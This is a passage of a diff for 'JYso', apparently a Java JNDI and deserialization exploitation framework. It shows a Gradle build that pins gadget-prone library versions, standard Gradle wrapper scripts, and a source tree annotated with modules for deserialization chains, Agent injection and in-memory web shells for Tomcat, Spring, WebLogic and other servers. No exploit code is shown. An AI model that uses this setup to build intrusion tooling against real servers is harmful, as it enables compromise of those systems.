implementation 'org.hibernate:hibernate-core:4.3.11.Final'
|
||||
implementation 'org.javassist:javassist:3.29.2-GA'
|
||||
implementation 'org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final'
|
||||
implementation 'org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final'
|
||||
implementation 'org.jboss.remoting:jboss-remoting:4.0.19.Final'
|
||||
implementation 'org.jboss.remotingjmx:remoting-jmx:2.0.1.Final'
|
||||
implementation 'org.jboss.spec.javax.security.jacc:jboss-jacc-api_1.4_spec:1.0.3.Final'
|
||||
implementation 'org.jboss.weld:weld-core:1.1.33.Final'
|
||||
implementation 'org.jenkins-ci.main:remoting:2.55'
|
||||
implementation 'org.ow2.asm:asm:8.0.1'
|
||||
implementation 'org.python:jython-standalone:2.5.2'
|
||||
implementation 'org.reflections:reflections:0.9.10'
|
||||
implementation 'org.springframework:spring-aop:5.2.3.RELEASE'
|
||||
implementation 'org.springframework:spring-aop:5.2.3.RELEASE'
|
||||
implementation 'org.springframework:spring-beans:5.2.3.RELEASE'
|
||||
implementation 'org.springframework:spring-context-support:5.2.3.RELEASE'
|
||||
implementation 'org.springframework:spring-core:5.2.3.RELEASE'
|
||||
implementation 'org.springframework:spring-jdbc:5.2.3.RELEASE'
|
||||
implementation 'org.springframework:spring-oxm:5.2.3.RELEASE'
|
||||
implementation 'org.springframework:spring-test:5.2.3.RELEASE'
|
||||
implementation 'org.springframework:spring-tx:5.2.3.RELEASE'
|
||||
implementation 'org.springframework:spring-web:5.2.3.RELEASE'
|
||||
implementation 'org.springframework:spring-webmvc:5.2.3.RELEASE'
|
||||
implementation 'rhino:js:1.7R2'
|
||||
implementation 'rome:rome:1.0'
|
||||
implementation 'xerces:xercesImpl:2.12.0'
|
||||
|
||||
implementation files('libs/jai-core-1.1.3.jar')
|
||||
implementation files('libs/weblogic-server.jar')
|
||||
|
||||
dependencies {
|
||||
implementation('commons-collections:commons-collections') {
|
||||
version {
|
||||
strictly '3.2.1'
|
||||
}
|
||||
}
|
||||
implementation('org.apache.commons:commons-collections4') {
|
||||
version {
|
||||
strictly '4.0'
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
implementation 'org.codehaus.castor:castor-xml:1.4.1'
|
||||
implementation 'com.cedarsoftware:json-io:4.9.1'
|
||||
implementation 'org.jyaml:jyaml:1.3'
|
||||
implementation 'com.esotericsoftware:kryo:4.0.0'
|
||||
implementation 'commons-configuration:commons-configuration:1.10'
|
||||
implementation 'com.thoughtworks.xstream:xstream:1.4.9'
|
||||
implementation 'org.apache.xbean:xbean-naming:4.5'
|
||||
implementation 'com.rometools:rome:1.7.0'
|
||||
implementation 'net.sf.json-lib:json-lib:2.4:jdk15'
|
||||
implementation 'org.apache.directory.server:apacheds-xdbm-partition:2.0.0.AM26'
|
||||
|
||||
implementation 'commons-beanutils:commons-beanutils:1.9.4'
|
||||
|
||||
|
||||
|
||||
runtimeOnly libs.org.aspectj.aspectjweaver
|
||||
compileOnly libs.org.apache.tomcat.tomcat.websocket
|
||||
}
|
||||
|
||||
|
||||
group = 'org.example'
|
||||
version = '1.3.7'
|
||||
description = 'JYso'
|
||||
java.sourceCompatibility = JavaVersion.VERSION_1_8
|
||||
|
||||
compileJava {
|
||||
options.compilerArgs << '-XDignore.symbol.file'
|
||||
options.fork = true
|
||||
options.forkOptions.executable = '/Users/qi4l/env/amazon-corretto-8.jdk/Contents/Home/bin/javac'
|
||||
}
|
||||
+71
-71
@@ -1,72 +1,72 @@
|
||||
├─.gradle Gradle构建配置文件
|
||||
│ ├─8.7
|
||||
│ │ ├─checksums
|
||||
│ │ ├─dependencies-accessors
|
||||
│ │ │ └─525c6f5870ba43302c5969f432765d671d340d71
|
||||
│ │ │ ├─classes
|
||||
│ │ │ │ └─org
|
||||
│ │ │ │ └─gradle
|
||||
│ │ │ │ └─accessors
|
||||
│ │ │ │ └─dm
|
||||
│ │ │ └─sources
|
||||
│ │ │ └─org
|
||||
│ │ │ └─gradle
|
||||
│ │ │ └─accessors
|
||||
│ │ │ └─dm
|
||||
│ │ ├─executionHistory
|
||||
│ │ ├─expanded
|
||||
│ │ ├─fileChanges
|
||||
│ │ ├─fileHashes
|
||||
│ │ └─vcsMetadata
|
||||
│ ├─buildOutputCleanup
|
||||
│ └─vcs-1
|
||||
├─.idea IDEA配置信息文件
|
||||
│ ├─artifacts
|
||||
│ ├─codeStyles
|
||||
│ ├─inspectionProfiles
|
||||
│ └─libraries
|
||||
├─docs 有关文档
|
||||
├─gradle
|
||||
│ └─wrapper
|
||||
├─libs 第三方jar
|
||||
└─src
|
||||
├─main
|
||||
│ └─java
|
||||
│ └─com
|
||||
│ └─qi4l
|
||||
│ └─jndi
|
||||
│ ├─controllers JNDI路由逻辑
|
||||
│ │ └─utils
|
||||
│ ├─enumtypes
|
||||
│ ├─exceptions
|
||||
│ ├─exploit -cp 模式下的漏洞逻辑
|
||||
│ ├─gadgets 反序列化链
|
||||
│ │ ├─annotation
|
||||
│ │ ├─Config
|
||||
│ │ └─utils
|
||||
│ │ ├─beanshell
|
||||
│ │ ├─cc
|
||||
│ │ ├─clojure
|
||||
│ │ ├─dirty
|
||||
│ │ ├─handle
|
||||
│ │ ├─jdbc
|
||||
│ │ ├─jre
|
||||
│ │ └─utf8OverlongEncoding
|
||||
│ └─template
|
||||
│ ├─Agent Agent注入逻辑
|
||||
│ │ └─utli
|
||||
│ ├─echo 回显类
|
||||
│ └─memshell 内存shell逻辑
|
||||
│ ├─BypassNginxCDN
|
||||
│ ├─jboss
|
||||
│ ├─jetty
|
||||
│ ├─resin
|
||||
│ ├─shell
|
||||
│ ├─spring
|
||||
│ ├─struts2
|
||||
│ ├─tomcat
|
||||
│ ├─Tomcat_Spring_Jetty
|
||||
│ ├─weblogic
|
||||
│ └─Websphere
|
||||
└─test
|
||||
├─.gradle Gradle构建配置文件
|
||||
│ ├─8.7
|
||||
│ │ ├─checksums
|
||||
│ │ ├─dependencies-accessors
|
||||
│ │ │ └─525c6f5870ba43302c5969f432765d671d340d71
|
||||
│ │ │ ├─classes
|
||||
│ │ │ │ └─org
|
||||
│ │ │ │ └─gradle
|
||||
│ │ │ │ └─accessors
|
||||
│ │ │ │ └─dm
|
||||
│ │ │ └─sources
|
||||
│ │ │ └─org
|
||||
│ │ │ └─gradle
|
||||
│ │ │ └─accessors
|
||||
│ │ │ └─dm
|
||||
│ │ ├─executionHistory
|
||||
│ │ ├─expanded
|
||||
│ │ ├─fileChanges
|
||||
│ │ ├─fileHashes
|
||||
│ │ └─vcsMetadata
|
||||
│ ├─buildOutputCleanup
|
||||
│ └─vcs-1
|
||||
├─.idea IDEA配置信息文件
|
||||
│ ├─artifacts
|
||||
│ ├─codeStyles
|
||||
│ ├─inspectionProfiles
|
||||
│ └─libraries
|
||||
├─docs 有关文档
|
||||
├─gradle
|
||||
│ └─wrapper
|
||||
├─libs 第三方jar
|
||||
└─src
|
||||
├─main
|
||||
│ └─java
|
||||
│ └─com
|
||||
│ └─qi4l
|
||||
│ └─jndi
|
||||
│ ├─controllers JNDI路由逻辑
|
||||
│ │ └─utils
|
||||
│ ├─enumtypes
|
||||
│ ├─exceptions
|
||||
│ ├─exploit -cp 模式下的漏洞逻辑
|
||||
│ ├─gadgets 反序列化链
|
||||
│ │ ├─annotation
|
||||
│ │ ├─Config
|
||||
│ │ └─utils
|
||||
│ │ ├─beanshell
|
||||
│ │ ├─cc
|
||||
│ │ ├─clojure
|
||||
│ │ ├─dirty
|
||||
│ │ ├─handle
|
||||
│ │ ├─jdbc
|
||||
│ │ ├─jre
|
||||
│ │ └─utf8OverlongEncoding
|
||||
│ └─template
|
||||
│ ├─Agent Agent注入逻辑
|
||||
│ │ └─utli
|
||||
│ ├─echo 回显类
|
||||
│ └─memshell 内存shell逻辑
|
||||
│ ├─BypassNginxCDN
|
||||
│ ├─jboss
|
||||
│ ├─jetty
|
||||
│ ├─resin
|
||||
│ ├─shell
|
||||
│ ├─spring
|
||||
│ ├─struts2
|
||||
│ ├─tomcat
|
||||
│ ├─Tomcat_Spring_Jetty
|
||||
│ ├─weblogic
|
||||
│ └─Websphere
|
||||
└─test
|
||||
└─java
|
||||
@@ -1,10 +1,10 @@
|
||||
# This file was generated by the Gradle 'init' task.
|
||||
# https://docs.gradle.org/current/userguide/platforms.html#sub::toml-dependencies-format
|
||||
|
||||
[versions]
|
||||
org-apache-tomcat-tomcat-websocket = "9.0.62"
|
||||
org-aspectj-aspectjweaver = "1.9.7"
|
||||
|
||||
[libraries]
|
||||
org-apache-tomcat-tomcat-websocket = { module = "org.apache.tomcat:tomcat-websocket", version.ref = "org-apache-tomcat-tomcat-websocket" }
|
||||
# This file was generated by the Gradle 'init' task.
|
||||
# https://docs.gradle.org/current/userguide/platforms.html#sub::toml-dependencies-format
|
||||
|
||||
[versions]
|
||||
org-apache-tomcat-tomcat-websocket = "9.0.62"
|
||||
org-aspectj-aspectjweaver = "1.9.7"
|
||||
|
||||
[libraries]
|
||||
org-apache-tomcat-tomcat-websocket = { module = "org.apache.tomcat:tomcat-websocket", version.ref = "org-apache-tomcat-tomcat-websocket" }
|
||||
org-aspectj-aspectjweaver = { module = "org.aspectj:aspectjweaver", version.ref = "org-aspectj-aspectjweaver" }
|
||||
+2
-3
@@ -1,7 +1,6 @@
|
||||
#Thu Apr 23 23:23:32 CST 2026
|
||||
distributionBase=GRADLE_USER_HOME
|
||||
distributionPath=wrapper/dists
|
||||
distributionUrl=https\://services.gradle.org/distributions/gradle-8.7-bin.zip
|
||||
networkTimeout=10000
|
||||
validateDistributionUrl=true
|
||||
distributionUrl=https\://services.gradle.org/distributions/gradle-8.14.4-bin.zip
|
||||
zipStoreBase=GRADLE_USER_HOME
|
||||
zipStorePath=wrapper/dists
|
||||
|
||||
@@ -1,249 +1,249 @@
|
||||
#!/bin/sh
|
||||
|
||||
#
|
||||
# Copyright © 2015-2021 the original authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# https://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
##############################################################################
|
||||
#
|
||||
# Gradle start up script for POSIX generated by Gradle.
|
||||
#
|
||||
# Important for running:
|
||||
#
|
||||
# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is
|
||||
# noncompliant, but you have some other compliant shell such as ksh or
|
||||
# bash, then to run this script, type that shell name before the whole
|
||||
# command line, like:
|
||||
#
|
||||
# ksh Gradle
|
||||
#
|
||||
# Busybox and similar reduced shells will NOT work, because this script
|
||||
# requires all of these POSIX shell features:
|
||||
# * functions;
|
||||
# * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,
|
||||
# «${var#prefix}», «${var%suffix}», and «$( cmd )»;
|
||||
# * compound commands having a testable exit status, especially «case»;
|
||||
# * various built-in commands including «command», «set», and «ulimit».
|
||||
#
|
||||
# Important for patching:
|
||||
#
|
||||
# (2) This script targets any POSIX shell, so it avoids extensions provided
|
||||
# by Bash, Ksh, etc; in particular arrays are avoided.
|
||||
#
|
||||
# The "traditional" practice of packing multiple parameters into a
|
||||
# space-separated string is a well documented source of bugs and security
|
||||
# problems, so this is (mostly) avoided, by progressively accumulating
|
||||
# options in "$@", and eventually passing that to Java.
|
||||
#
|
||||
# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,
|
||||
# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;
|
||||
# see the in-line comments for details.
|
||||
#
|
||||
# There are tweaks for specific operating systems such as AIX, CygWin,
|
||||
# Darwin, MinGW, and NonStop.
|
||||
#
|
||||
# (3) This script is generated from the Groovy template
|
||||
# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
|
||||
# within the Gradle project.
|
||||
#
|
||||
# You can find Gradle at https://github.com/gradle/gradle/.
|
||||
#
|
||||
##############################################################################
|
||||
|
||||
# Attempt to set APP_HOME
|
||||
|
||||
# Resolve links: $0 may be a link
|
||||
app_path=$0
|
||||
|
||||
# Need this for daisy-chained symlinks.
|
||||
while
|
||||
APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path
|
||||
[ -h "$app_path" ]
|
||||
do
|
||||
ls=$( ls -ld "$app_path" )
|
||||
link=${ls#*' -> '}
|
||||
case $link in #(
|
||||
/*) app_path=$link ;; #(
|
||||
*) app_path=$APP_HOME$link ;;
|
||||
esac
|
||||
done
|
||||
|
||||
# This is normally unused
|
||||
# shellcheck disable=SC2034
|
||||
APP_BASE_NAME=${0##*/}
|
||||
# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036)
|
||||
APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit
|
||||
|
||||
# Use the maximum available, or set MAX_FD != -1 to use that value.
|
||||
MAX_FD=maximum
|
||||
|
||||
warn () {
|
||||
echo "$*"
|
||||
} >&2
|
||||
|
||||
die () {
|
||||
echo
|
||||
echo "$*"
|
||||
echo
|
||||
exit 1
|
||||
} >&2
|
||||
|
||||
# OS specific support (must be 'true' or 'false').
|
||||
cygwin=false
|
||||
msys=false
|
||||
darwin=false
|
||||
nonstop=false
|
||||
case "$( uname )" in #(
|
||||
CYGWIN* ) cygwin=true ;; #(
|
||||
Darwin* ) darwin=true ;; #(
|
||||
MSYS* | MINGW* ) msys=true ;; #(
|
||||
NONSTOP* ) nonstop=true ;;
|
||||
esac
|
||||
|
||||
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
|
||||
|
||||
|
||||
# Determine the Java command to use to start the JVM.
|
||||
if [ -n "$JAVA_HOME" ] ; then
|
||||
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
|
||||
# IBM's JDK on AIX uses strange locations for the executables
|
||||
JAVACMD=$JAVA_HOME/jre/sh/java
|
||||
else
|
||||
JAVACMD=$JAVA_HOME/bin/java
|
||||
fi
|
||||
if [ ! -x "$JAVACMD" ] ; then
|
||||
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
|
||||
|
||||
Please set the JAVA_HOME variable in your environment to match the
|
||||
location of your Java installation."
|
||||
fi
|
||||
else
|
||||
JAVACMD=java
|
||||
if ! command -v java >/dev/null 2>&1
|
||||
then
|
||||
die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
|
||||
|
||||
Please set the JAVA_HOME variable in your environment to match the
|
||||
location of your Java installation."
|
||||
fi
|
||||
fi
|
||||
|
||||
# Increase the maximum file descriptors if we can.
|
||||
if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then
|
||||
case $MAX_FD in #(
|
||||
max*)
|
||||
# In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked.
|
||||
# shellcheck disable=SC2039,SC3045
|
||||
MAX_FD=$( ulimit -H -n ) ||
|
||||
warn "Could not query maximum file descriptor limit"
|
||||
esac
|
||||
case $MAX_FD in #(
|
||||
'' | soft) :;; #(
|
||||
*)
|
||||
# In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked.
|
||||
# shellcheck disable=SC2039,SC3045
|
||||
ulimit -n "$MAX_FD" ||
|
||||
warn "Could not set maximum file descriptor limit to $MAX_FD"
|
||||
esac
|
||||
fi
|
||||
|
||||
# Collect all arguments for the java command, stacking in reverse order:
|
||||
# * args from the command line
|
||||
# * the main class name
|
||||
# * -classpath
|
||||
# * -D...appname settings
|
||||
# * --module-path (only if needed)
|
||||
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.
|
||||
|
||||
# For Cygwin or MSYS, switch paths to Windows format before running java
|
||||
if "$cygwin" || "$msys" ; then
|
||||
APP_HOME=$( cygpath --path --mixed "$APP_HOME" )
|
||||
CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" )
|
||||
|
||||
JAVACMD=$( cygpath --unix "$JAVACMD" )
|
||||
|
||||
# Now convert the arguments - kludge to limit ourselves to /bin/sh
|
||||
for arg do
|
||||
if
|
||||
case $arg in #(
|
||||
-*) false ;; # don't mess with options #(
|
||||
/?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath
|
||||
[ -e "$t" ] ;; #(
|
||||
*) false ;;
|
||||
esac
|
||||
then
|
||||
arg=$( cygpath --path --ignore --mixed "$arg" )
|
||||
fi
|
||||
# Roll the args list around exactly as many times as the number of
|
||||
# args, so each arg winds up back in the position where it started, but
|
||||
# possibly modified.
|
||||
#
|
||||
# NB: a `for` loop captures its iteration list before it begins, so
|
||||
# changing the positional parameters here affects neither the number of
|
||||
# iterations, nor the values presented in `arg`.
|
||||
shift # remove old arg
|
||||
set -- "$@" "$arg" # push replacement arg
|
||||
done
|
||||
fi
|
||||
|
||||
|
||||
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
|
||||
|
||||
# Collect all arguments for the java command:
|
||||
# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments,
|
||||
# and any embedded shellness will be escaped.
|
||||
# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be
|
||||
# treated as '${Hostname}' itself on the command line.
|
||||
|
||||
set -- \
|
||||
"-Dorg.gradle.appname=$APP_BASE_NAME" \
|
||||
-classpath "$CLASSPATH" \
|
||||
org.gradle.wrapper.GradleWrapperMain \
|
||||
"$@"
|
||||
|
||||
# Stop when "xargs" is not available.
|
||||
if ! command -v xargs >/dev/null 2>&1
|
||||
then
|
||||
die "xargs is not available"
|
||||
fi
|
||||
|
||||
# Use "xargs" to parse quoted args.
|
||||
#
|
||||
# With -n1 it outputs one arg per line, with the quotes and backslashes removed.
|
||||
#
|
||||
# In Bash we could simply go:
|
||||
#
|
||||
# readarray ARGS < <( xargs -n1 <<<"$var" ) &&
|
||||
# set -- "${ARGS[@]}" "$@"
|
||||
#
|
||||
# but POSIX shell has neither arrays nor command substitution, so instead we
|
||||
# post-process each arg (as a line of input to sed) to backslash-escape any
|
||||
# character that might be a shell metacharacter, then use eval to reverse
|
||||
# that process (while maintaining the separation between arguments), and wrap
|
||||
# the whole thing up as a single "set" statement.
|
||||
#
|
||||
# This will of course break if any of these variables contains a newline or
|
||||
# an unmatched quote.
|
||||
#
|
||||
|
||||
eval "set -- $(
|
||||
printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" |
|
||||
xargs -n1 |
|
||||
sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' |
|
||||
tr '\n' ' '
|
||||
)" '"$@"'
|
||||
|
||||
exec "$JAVACMD" "$@"
|
||||
#!/bin/sh
|
||||
|
||||
#
|
||||
# Copyright © 2015-2021 the original authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# https://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
##############################################################################
|
||||
#
|
||||
# Gradle start up script for POSIX generated by Gradle.
|
||||
#
|
||||
# Important for running:
|
||||
#
|
||||
# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is
|
||||
# noncompliant, but you have some other compliant shell such as ksh or
|
||||
# bash, then to run this script, type that shell name before the whole
|
||||
# command line, like:
|
||||
#
|
||||
# ksh Gradle
|
||||
#
|
||||
# Busybox and similar reduced shells will NOT work, because this script
|
||||
# requires all of these POSIX shell features:
|
||||
# * functions;
|
||||
# * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,
|
||||
# «${var#prefix}», «${var%suffix}», and «$( cmd )»;
|
||||
# * compound commands having a testable exit status, especially «case»;
|
||||
# * various built-in commands including «command», «set», and «ulimit».
|
||||
#
|
||||
# Important for patching:
|
||||
#
|
||||
# (2) This script targets any POSIX shell, so it avoids extensions provided
|
||||
# by Bash, Ksh, etc; in particular arrays are avoided.
|
||||
#
|
||||
# The "traditional" practice of packing multiple parameters into a
|
||||
# space-separated string is a well documented source of bugs and security
|
||||
# problems, so this is (mostly) avoided, by progressively accumulating
|
||||
# options in "$@", and eventually passing that to Java.
|
||||
#
|
||||
# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,
|
||||
# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;
|
||||
# see the in-line comments for details.
|
||||
#
|
||||
# There are tweaks for specific operating systems such as AIX, CygWin,
|
||||
# Darwin, MinGW, and NonStop.
|
||||
#
|
||||
# (3) This script is generated from the Groovy template
|
||||
# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
|
||||
# within the Gradle project.
|
||||
#
|
||||
# You can find Gradle at https://github.com/gradle/gradle/.
|
||||
#
|
||||
##############################################################################
|
||||
|
||||
# Attempt to set APP_HOME
|
||||
|
||||
# Resolve links: $0 may be a link
|
||||
app_path=$0
|
||||
|
||||
# Need this for daisy-chained symlinks.
|
||||
while
|
||||
APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path
|
||||
[ -h "$app_path" ]
|
||||
do
|
||||
ls=$( ls -ld "$app_path" )
|
||||
link=${ls#*' -> '}
|
||||
case $link in #(
|
||||
/*) app_path=$link ;; #(
|
||||
*) app_path=$APP_HOME$link ;;
|
||||
esac
|
||||
done
|
||||
|
||||
# This is normally unused
|
||||
# shellcheck disable=SC2034
|
||||
APP_BASE_NAME=${0##*/}
|
||||
# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036)
|
||||
APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit
|
||||
|
||||
# Use the maximum available, or set MAX_FD != -1 to use that value.
|
||||
MAX_FD=maximum
|
||||
|
||||
warn () {
|
||||
echo "$*"
|
||||
} >&2
|
||||
|
||||
die () {
|
||||
echo
|
||||
echo "$*"
|
||||
echo
|
||||
exit 1
|
||||
} >&2
|
||||
|
||||
# OS specific support (must be 'true' or 'false').
|
||||
cygwin=false
|
||||
msys=false
|
||||
darwin=false
|
||||
nonstop=false
|
||||
case "$( uname )" in #(
|
||||
CYGWIN* ) cygwin=true ;; #(
|
||||
Darwin* ) darwin=true ;; #(
|
||||
MSYS* | MINGW* ) msys=true ;; #(
|
||||
NONSTOP* ) nonstop=true ;;
|
||||
esac
|
||||
|
||||
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
|
||||
|
||||
|
||||
# Determine the Java command to use to start the JVM.
|
||||
if [ -n "$JAVA_HOME" ] ; then
|
||||
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
|
||||
# IBM's JDK on AIX uses strange locations for the executables
|
||||
JAVACMD=$JAVA_HOME/jre/sh/java
|
||||
else
|
||||
JAVACMD=$JAVA_HOME/bin/java
|
||||
fi
|
||||
if [ ! -x "$JAVACMD" ] ; then
|
||||
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
|
||||
|
||||
Please set the JAVA_HOME variable in your environment to match the
|
||||
location of your Java installation."
|
||||
fi
|
||||
else
|
||||
JAVACMD=java
|
||||
if ! command -v java >/dev/null 2>&1
|
||||
then
|
||||
die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
|
||||
|
||||
Please set the JAVA_HOME variable in your environment to match the
|
||||
location of your Java installation."
|
||||
fi
|
||||
fi
|
||||
|
||||
# Increase the maximum file descriptors if we can.
|
||||
if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then
|
||||
case $MAX_FD in #(
|
||||
max*)
|
||||
# In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked.
|
||||
# shellcheck disable=SC2039,SC3045
|
||||
MAX_FD=$( ulimit -H -n ) ||
|
||||
warn "Could not query maximum file descriptor limit"
|
||||
esac
|
||||
case $MAX_FD in #(
|
||||
'' | soft) :;; #(
|
||||
*)
|
||||
# In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked.
|
||||
# shellcheck disable=SC2039,SC3045
|
||||
ulimit -n "$MAX_FD" ||
|
||||
warn "Could not set maximum file descriptor limit to $MAX_FD"
|
||||
esac
|
||||
fi
|
||||
|
||||
# Collect all arguments for the java command, stacking in reverse order:
|
||||
# * args from the command line
|
||||
# * the main class name
|
||||
# * -classpath
|
||||
# * -D...appname settings
|
||||
# * --module-path (only if needed)
|
||||
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.
|
||||
|
||||
# For Cygwin or MSYS, switch paths to Windows format before running java
|
||||
if "$cygwin" || "$msys" ; then
|
||||
APP_HOME=$( cygpath --path --mixed "$APP_HOME" )
|
||||
CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" )
|
||||
|
||||
JAVACMD=$( cygpath --unix "$JAVACMD" )
|
||||
|
||||
# Now convert the arguments - kludge to limit ourselves to /bin/sh
|
||||
for arg do
|
||||
if
|
||||
case $arg in #(
|
||||
-*) false ;; # don't mess with options #(
|
||||
/?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath
|
||||
[ -e "$t" ] ;; #(
|
||||
*) false ;;
|
||||
esac
|
||||
then
|
||||
arg=$( cygpath --path --ignore --mixed "$arg" )
|
||||
fi
|
||||
# Roll the args list around exactly as many times as the number of
|
||||
# args, so each arg winds up back in the position where it started, but
|
||||
# possibly modified.
|
||||
#
|
||||
# NB: a `for` loop captures its iteration list before it begins, so
|
||||
# changing the positional parameters here affects neither the number of
|
||||
# iterations, nor the values presented in `arg`.
|
||||
shift # remove old arg
|
||||
set -- "$@" "$arg" # push replacement arg
|
||||
done
|
||||
fi
|
||||
|
||||
|
||||
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
|
||||
|
||||
# Collect all arguments for the java command:
|
||||
# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments,
|
||||
# and any embedded shellness will be escaped.
|
||||
# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be
|
||||
# treated as '${Hostname}' itself on the command line.
|
||||
|
||||
set -- \
|
||||
"-Dorg.gradle.appname=$APP_BASE_NAME" \
|
||||
-classpath "$CLASSPATH" \
|
||||
org.gradle.wrapper.GradleWrapperMain \
|
||||
"$@"
|
||||
|
||||
# Stop when "xargs" is not available.
|
||||
if ! command -v xargs >/dev/null 2>&1
|
||||
then
|
||||
die "xargs is not available"
|
||||
fi
|
||||
|
||||
# Use "xargs" to parse quoted args.
|
||||
#
|
||||
# With -n1 it outputs one arg per line, with the quotes and backslashes removed.
|
||||
#
|
||||
# In Bash we could simply go:
|
||||
#
|
||||
# readarray ARGS < <( xargs -n1 <<<"$var" ) &&
|
||||
# set -- "${ARGS[@]}" "$@"
|
||||
#
|
||||
# but POSIX shell has neither arrays nor command substitution, so instead we
|
||||
# post-process each arg (as a line of input to sed) to backslash-escape any
|
||||
# character that might be a shell metacharacter, then use eval to reverse
|
||||
# that process (while maintaining the separation between arguments), and wrap
|
||||
# the whole thing up as a single "set" statement.
|
||||
#
|
||||
# This will of course break if any of these variables contains a newline or
|
||||
# an unmatched quote.
|
||||
#
|
||||
|
||||
eval "set -- $(
|
||||
printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" |
|
||||
xargs -n1 |
|
||||
sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' |
|
||||
tr '\n' ' '
|
||||
)" '"$@"'
|
||||
|
||||
exec "$JAVACMD" "$@"
|
||||
|
||||
Vendored
+92
-92
@@ -1,92 +1,92 @@
|
||||
@rem
|
||||
@rem Copyright 2015 the original author or authors.
|
||||
@rem
|
||||
@rem Licensed under the Apache License, Version 2.0 (the "License");
|
||||
@rem you may not use this file except in compliance with the License.
|
||||
@rem You may obtain a copy of the License at
|
||||
@rem
|
||||
@rem https://www.apache.org/licenses/LICENSE-2.0
|
||||
@rem
|
||||
@rem Unless required by applicable law or agreed to in writing, software
|
||||
@rem distributed under the License is distributed on an "AS IS" BASIS,
|
||||
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
@rem See the License for the specific language governing permissions and
|
||||
@rem limitations under the License.
|
||||
@rem
|
||||
|
||||
@if "%DEBUG%"=="" @echo off
|
||||
@rem ##########################################################################
|
||||
@rem
|
||||
@rem Gradle startup script for Windows
|
||||
@rem
|
||||
@rem ##########################################################################
|
||||
|
||||
@rem Set local scope for the variables with windows NT shell
|
||||
if "%OS%"=="Windows_NT" setlocal
|
||||
|
||||
set DIRNAME=%~dp0
|
||||
if "%DIRNAME%"=="" set DIRNAME=.
|
||||
@rem This is normally unused
|
||||
set APP_BASE_NAME=%~n0
|
||||
set APP_HOME=%DIRNAME%
|
||||
|
||||
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
|
||||
